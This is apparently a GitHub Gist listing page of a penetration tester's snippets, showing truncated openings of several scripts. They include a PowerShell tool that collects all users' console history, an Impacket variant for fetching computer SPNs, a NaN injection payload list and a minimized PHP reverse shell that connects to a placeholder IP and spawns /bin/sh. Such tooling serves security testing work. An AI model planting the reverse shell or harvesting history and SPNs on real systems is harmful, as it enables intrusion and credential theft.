Skip to content

Instantly share code, notes, and snippets.

@gr0s4b1
gr0s4b1 / bapper.py
Created September 12, 2024 13:54
Bapper - Downloads All Burp Suite Bapp Files
#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup
import os
import re
BASE_URL = 'https://portswigger.net/bappstore'
DOWNLOAD_BASE_URL = 'https://portswigger-cdn.net/bappstore/bapps/download'
@gr0s4b1
gr0s4b1 / .tmux.conf
Last active January 31, 2024 17:07
My TMUX Configuration
# This TMUX config requires "xsel" and "tmux-plugin-manager" be installed.
# Change the default $TERM to screen-256color
set -g default-terminal "screen-256color"
# Set scrollback history to 100000 lines
set-option -g history-limit 100000
# Enable vi mode keys by default
setw -g mode-keys vi
@gr0s4b1
gr0s4b1 / Get-PSHistory.ps1
Last active September 25, 2025 00:41
This script retrieves PowerShell console history for all users on a Windows machine, saving it to a timestamped filename based on the hostname. It handles history file locations, supports UNC paths, suppresses errors, and provides organized output to a text file.
function Get-PSHistory {
<#
.SYNOPSIS
Get PowerShell console history for all users on the machine.
.DESCRIPTION
This function retrieves the PowerShell console history for all users on the machine. It searches for the PSReadline history file for each user and collects the command history. If no history file is found, it indicates that no history was found for that user.
.PARAMETER SuppressErrors
Specifies whether to suppress errors when accessing user's history file. If this switch is provided, any errors encountered while accessing the history file will be silently ignored.
@gr0s4b1
gr0s4b1 / GetComputerSPNs.py
Created April 20, 2023 12:37
Modified Impacket's GetUserSPNs to get Computer SPNs
#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright (C) 2022 Fortra. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
CwAAAEJhY2tncm91bmQABAAAAAQAAAAAAAAACQAAAFBvc2l0aW9uAAQAAAAEAAAA/AMAAAgAAABNb25pdG9yAAQAAAAEAAAAXAQAAA4AAABUYXNrYmFyQWRqdXN0AAQAAAAEAAAAAQAAAAsAAABUZXh0V2lkdGgyAAQAAAAEAAAAwHsAAAsAAABPdXRwdXRGaWxlAAEAAAASAAAAJVRlbXAlXEJHSW5mby5ibXAACQAAAERhdGFiYXNlAAEAAAABAAAAAAwAAABEYXRhYmFzZU1SVQABAAAAAgAAAAAACgAAAFdhbGxwYXBlcgABAAAAGAAAAEM6XEJHSW5mb1x3YWxscGFwZXIuanBnAA0AAABXYWxscGFwZXJQb3MABAAAAAQAAAAFAAAADgAAAFdhbGxwYXBlclVzZXIABAAAAAQAAAAAAAAADQAAAE1heENvbG9yQml0cwAEAAAABAAAAAAAAAAMAAAARXJyb3JOb3RpZnkABAAAAAQAAAAAAAAACwAAAFVzZXJTY3JlZW4ABAAAAAQAAAABAAAADAAAAExvZ29uU2NyZWVuAAQAAAAEAAAAAAAAAA8AAABUZXJtaW5hbFNjcmVlbgAEAAAABAAAAAAAAAAOAAAAT3BhcXVlVGV4dEJveAAEAAAABAAAAAAAAAAEAAAAUlRGAAEAAACrBAAAe1xydGYxXGFuc2lcYW5zaWNwZzEyNTJcZGVmZjBcbm91aWNvbXBhdFxkZWZsYW5nMTAzM3tcZm9udHRibHtcZjBcZm5pbFxmY2hhcnNldDAgRmlyYSBDb2RlO319DQp7XGNvbG9ydGJsIDtccmVkMFxncmVlbjI1NVxibHVlMDt9DQp7XCpcZ2VuZXJhdG9yIFJpY2hlZDIwIDEwLjAuMTkwNDF9XHZpZXdraW5kNFx1YzEgDQpccGFyZFxmaS0yODgwXGxpMjg4MFx0eDI4ODBcY2YxXGYwXGZzMTYgVXNlciBOYW1lOlx0YWJccHJvdGVjdCA8VXNlciBO
@gr0s4b1
gr0s4b1 / Get-Service-Acl.ps1
Created April 4, 2022 21:29
View Service ACLs via Powershell
# Credit: https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
Add-Type @"
[System.FlagsAttribute]
public enum ServiceAccessFlags : uint
{
QueryConfig = 1,
ChangeConfig = 2,
QueryStatus = 4,
EnumerateDependents = 8,
@gr0s4b1
gr0s4b1 / python_nan_injection.txt
Created January 29, 2022 05:08
Python NaN Injection Sample Payloads
Nan
NaN
nAn
nAN
NAN
Nan
naN
nan
+Nan
-Nan
@gr0s4b1
gr0s4b1 / unicode-escapes.txt
Last active May 21, 2020 16:36
List of Unicode Character Escape Notations
\u0000
\u0001
\u0002
\u0003
\u0004
\u0005
\u0006
\u0007
\u0008
\u0009
@gr0s4b1
gr0s4b1 / shell.php
Created April 8, 2020 15:49
Minimized PHP Reverse Shell
<?php set_time_limit(0);$version="1.0";$ip='IPADDRESS';$port=PORTNUMBER;$chunk_size=1400;$write_a=null;$error_a=null;$shell='uname -a; w; id; /bin/sh -i';$daemon=0;$debug=0;if(function_exists('pcntl_fork')){$pid=pcntl_fork();if($pid==-1){printit("ERROR: Can't fork");exit(1);}if($pid){exit(0);}if(posix_setsid()==-1){printit("Error: Can't setsid()");exit(1);}$daemon=1;}else{printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}chdir("/");umask(0);$sock=fsockopen($ip,$port,$errno,$errstr,30);if(!$sock){printit("$errstr ($errno)");exit(1);}$descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$process=proc_open($shell,$descriptorspec,$pipes);if(!is_resource($process)){printit("ERROR: Can't spawn shell");exit(1);}stream_set_blocking($pipes[0],0);stream_set_blocking($pipes[1],0);stream_set_blocking($pipes[2],0);stream_set_blocking($sock,0);printit("Successfully opened reverse shell to $ip:$port");while(1){if(feof($sock)){printit("ERROR: Shell connection termi